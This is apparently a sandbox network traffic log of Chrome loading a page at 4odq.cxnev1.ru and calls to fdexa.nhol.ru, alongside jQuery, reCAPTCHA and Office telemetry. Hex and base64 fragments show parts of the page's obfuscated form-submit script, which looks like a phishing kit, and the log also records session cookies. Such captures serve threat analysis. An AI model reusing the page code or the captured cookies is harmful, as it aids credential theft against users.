hcHRjaGEiIGlkPSJnciI+PC9kaXY+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0icGFnZWxpbmsiIG5hbWU9InBhZ2VsaW5rIiB2YWx1ZT0iIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJibHRkaXAiIG5hbWU9ImJsdGRpcCIgdmFsdWU9IjEwMi4xMjkuMTUyLjIyMCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iYmx0ZHJlZi
2024-04-26 08:00:09 UTC	1369	IN	Data Raw: 5a 33 4a 6c 59 32 46 77 64 47 4e 6f 59 53 35 79 5a 58 4e 6c 64 43 67 70 4f 77 30 4b 49 43 41 67 49 48 30 4e 43 69 41 67 49 43 42 6d 64 57 35 6a 64 47 6c 76 62 69 42 53 54 47 64 4e 51 55 39 53 62 31 4a 74 4b 43 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 32 59 58 49 67 65 45 4e 43 55 55 56 6a 61 6b 70 34 65 69 41 39 49 47 52 76 59 33 56 74 5a 57 35 30 4c 6d 64 6c 64 45 56 73 5a 57 31 6c 62 6e 52 43 65 55 6c 6b 4b 43 4a 71 62 6e 6c 5a 62 30 70 50 53 55 4e 43 49 69 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 68 44 51 6c 46 46 59 32 70 4b 65 48 6f 75 62 32 35 7a 64 57 4a 74 61 58 51 67 50 53 42 6d 64 57 35 6a 64 47 6c 76 62 69 41 6f 5a 58 5a 6c 62 6e 51 70 49 48 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 47 56 32 5a 57 35 30 4c 6e 42 Data Ascii: Z3JlY2FwdGNoYS5yZXNldCgpOw0KICAgIH0NCiAgICBmdW5jdGlvbiBSTGdNQU9Sb1JtKCkgew0KICAgICAgICB2YXIgeENCUUVjakp4eiA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqbnlZb0pPSUNCIik7DQogICAgICAgIHhDQlFFY2pKeHoub25zdWJtaXQgPSBmdW5jdGlvbiAoZXZlbnQpIHsNCiAgICAgICAgICAgIGV2ZW50LnB
2024-04-26 08:00:09 UTC	104	IN	Data Raw: 74 70 73 3a 2f 2f 62 69 6e 67 2e 63 6f 6d 27 3b 0d 0a 7d 0d 0a 7d 29 0d 0a 2e 63 61 74 63 68 28 65 72 72 6f 72 20 3d 3e 20 7b 0d 0a 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 27 68 74 74 70 73 3a 2f 2f 62 69 6e 67 2e 63 6f 6d 27 3b 0d 0a 7d 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: tps://bing.com';}}).catch(error => {window.location.href = 'https://bing.com';});</script>
2024-04-26 08:00:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50018	104.21.67.35	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:10 UTC	593	OUT	GET /wgwecuyrjynbdoiaykpnbvmnXYETVYOLWICJNNPRMAYLKOONDAVSTN HTTP/1.1 Host: fdexa.nhol.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://4odq.cxnev1.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://4odq.cxnev1.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 08:00:10 UTC	598	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 08:00:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dShq9TyG%2Fwmn6u25v6LPuoW2GdIeDLicAyoRHXPhQXr3qELqstUjq4E3c0i9a1I8Un2rMyk%2FjPIlPdD2kRNSUfFu4bktddlaAeAlVTblORKexVc5l9V842o7vmGMwwql"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a509a0dccd0975-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 08:00:10 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2024-04-26 08:00:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50019	151.101.194.137	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:11 UTC	620	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://4odq.cxnev1.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 08:00:11 UTC	569	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 26 Apr 2024 08:00:11 GMT Age: 3883899 X-Served-By: cache-lga21931-LGA, cache-pdk-kpdk1780129-PDK X-Cache: HIT, HIT X-Cache-Hits: 2318, 4 X-Timer: S1714118411.358305,VS0,VE0 Vary: Accept-Encoding
2024-04-26 08:00:11 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-04-26 08:00:11 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-04-26 08:00:11 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-04-26 08:00:11 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-04-26 08:00:11 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-04-26 08:00:11 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50021	172.67.211.217	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:11 UTC	391	OUT	GET /wgwecuyrjynbdoiaykpnbvmnXYETVYOLWICJNNPRMAYLKOONDAVSTN HTTP/1.1 Host: fdexa.nhol.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 08:00:11 UTC	596	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 08:00:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jgAfl4QXkY6fAYussc6HsuWBkwUxKbnhcCTuRHsFbXX6KbfRZlPPFhsHbtPrbgyhpLnnV4BQaQMVuruXapiGUyV80W7oturSx1yqS%2FMqTYlQ4vXTVMog2CJQKtTKACBy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a509a72b4e6dbb-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 08:00:11 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2024-04-26 08:00:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50020	142.250.217.228	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:11 UTC	918	OUT	GET /recaptcha/api.js?render=explicit HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://4odq.cxnev1.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
2024-04-26 08:00:11 UTC	528	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Fri, 26 Apr 2024 08:00:11 GMT Date: Fri, 26 Apr 2024 08:00:11 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-26 08:00:11 UTC	727	IN	Data Raw: 34 63 38 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 4c8/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2024-04-26 08:00:11 UTC	504	IN	Data Raw: 56 34 63 47 6c 79 65 53 49 36 4d 54 63 79 4e 54 51 77 4e 7a 6b 35 4f 53 77 69 61 58 4e 54 64 57 4a 6b 62 32 31 68 61 57 34 69 4f 6e 52 79 64 57 55 73 49 6d 6c 7a 56 47 68 70 63 6d 52 51 59 58 4a 30 65 53 49 36 64 48 4a 31 5a 58 30 3d 27 3b 64 2e 68 65 61 64 2e 70 72 65 70 65 6e 64 28 6d 29 3b 70 6f 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 56 36 5f 38 35 71 70 63 32 58 66 32 73 62 65 33 78 54 6e 52 74 65 37 6d 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 3b 70 6f 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 27 61 6e 6f 6e 79 6d 6f 75 73 27 3b 70 6f 2e 69 6e 74 65 67 72 69 74 79 3d 27 73 68 61 33 38 34 2d 30 6c 4a 6b 4f 56 48 44 79 33 49 74 59 6c 43 Data Ascii: V4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-0lJkOVHDy3ItYlC
2024-04-26 08:00:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50023	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:12 UTC	825	OUT	POST /suite/RemoteUls.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&officeserverversion=20240424.1 HTTP/1.1 Host: common.online.office.com Connection: keep-alive Content-Length: 708 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://usigroups-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PUS3-ARRAffinity=c2b15893418d6fcf7b43568bf311dd6186fe02d8d96455beabbe7d072166f72d
2024-04-26 08:00:12 UTC	708	OUT	Data Raw: 7b 22 54 22 3a 31 37 31 34 31 31 38 33 37 39 35 35 37 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 30 37 33 32 36 38 36 31 2c 22 54 22 3a 31 31 35 38 38 2c 22 4d 22 3a 22 46 65 74 63 68 69 6e 67 20 6d 61 6e 69 66 65 73 74 20 66 72 6f 6d 20 43 44 4e 20 77 61 73 20 73 75 63 63 65 73 73 66 75 6c 20 66 6f 72 20 4f 6e 65 4e 6f 74 65 20 69 6e 20 4d 53 49 54 20 77 69 74 68 20 65 78 70 6f 73 75 72 65 20 31 30 20 77 69 74 68 20 72 65 6d 61 69 6e 69 6e 67 20 72 65 74 72 79 20 63 6f 75 6e 74 20 31 2e 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 30 37 33 32 36 38 36 30 2c 22 54 22 3a 31 31 35 38 39 2c 22 4d 22 3a 22 50 61 72 73 69 6e 67 20 6d 61 6e 69 66 65 73 74 20 66 72 6f 6d 20 43 44 4e 20 77 61 73 20 73 75 63 63 65 73 73 66 75 6c 20 66 6f 72 Data Ascii: {"T":1714118379557,"L":[{"G":507326861,"T":11588,"M":"Fetching manifest from CDN was successful for OneNote in MSIT with exposure 10 with remaining retry count 1.","C":3027,"D":50},{"G":507326860,"T":11589,"M":"Parsing manifest from CDN was successful for
2024-04-26 08:00:12 UTC	4046	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 12074f09-3a3d-400f-8f1e-b04c16234c6c X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 X-OfficeFE: BN3PEPF00004E25 X-OfficeVersion: 16.0.17614.41006 X-OfficeCluster: PUS3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usigroups-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42815875,42857251,50406866,50431969,51451613,51504083,51667010,306230939,306978834,507327905,507339026,507364812,507520519,507520520,507539972,507539975,507539978,507557069,507564317,507588834,507618451,507650051,507775183,507785752,507785753,507840355,507867611,507892672,508117090,508117091,508123353,508130721,508134499,508134530,508143303,508302418,508359368,508630474,508822424,508826841,508893266,508905682,509096994,509137349,509203553,509437535,509743362,510252435,512278607,512278610,512278979,512313551,512329346,512329348,512329356,512522335,512522337,512522368,512550663,512550665,520737606,520737607,520926864,520926865,520979847,521007315,521749855,522840207,523572700,523613141,524105113,524150164,524883107,524883136,524883138,528225985,528607428,537150367,537151647,537155398,537159041,537159051,537159499,537167070,537169937,537170394,538542792,538543587,539075678,539874723,540378699,540378700,542700237,542994947,545783884,545821457,553927448,557077970,557322386,557389507,557670930,558735363,559423838,559424262,559486496,559760215,559760216,560550470,570507662,571549507,571786073,571786074,572298008,572823264,573691362,574468116,575157663,575157664,575157665,575157666,575157667,575157696,575157697,575157698,575157699,575157700,575157701,575157702,577295376,577626581,577831138,578164000,587862985,589101015,589101018,591684683,591729363,592183378,592237859,592259104,592556551,592843145,593780815,593838232,593862981,594134597,594396706,594830612,595137156,595359709,595359710,595714715,595895774,596115913,596444186,596464289,845836083,845836084,845836085,846166132,876178018,876178789,947352439,963472182,963915891,1630679666,1630679667,1633958006,1647605351,1647863416,1664576567,1698260075,1718235956,1765045358,1802139698,1986689397,1986689633,1986689647,1986748791,1986748793,1986749030,1986749288,1986749546,2004443760,2004444278,2004448354 X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: BN3PEPF00009471 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 320580E2A206442BB745260BFA80FEE0 Ref B: MIA301000108023 Ref C: 2024-04-26T08:00:12Z Date: Fri, 26 Apr 2024 08:00:12 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50025	35.190.80.1	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
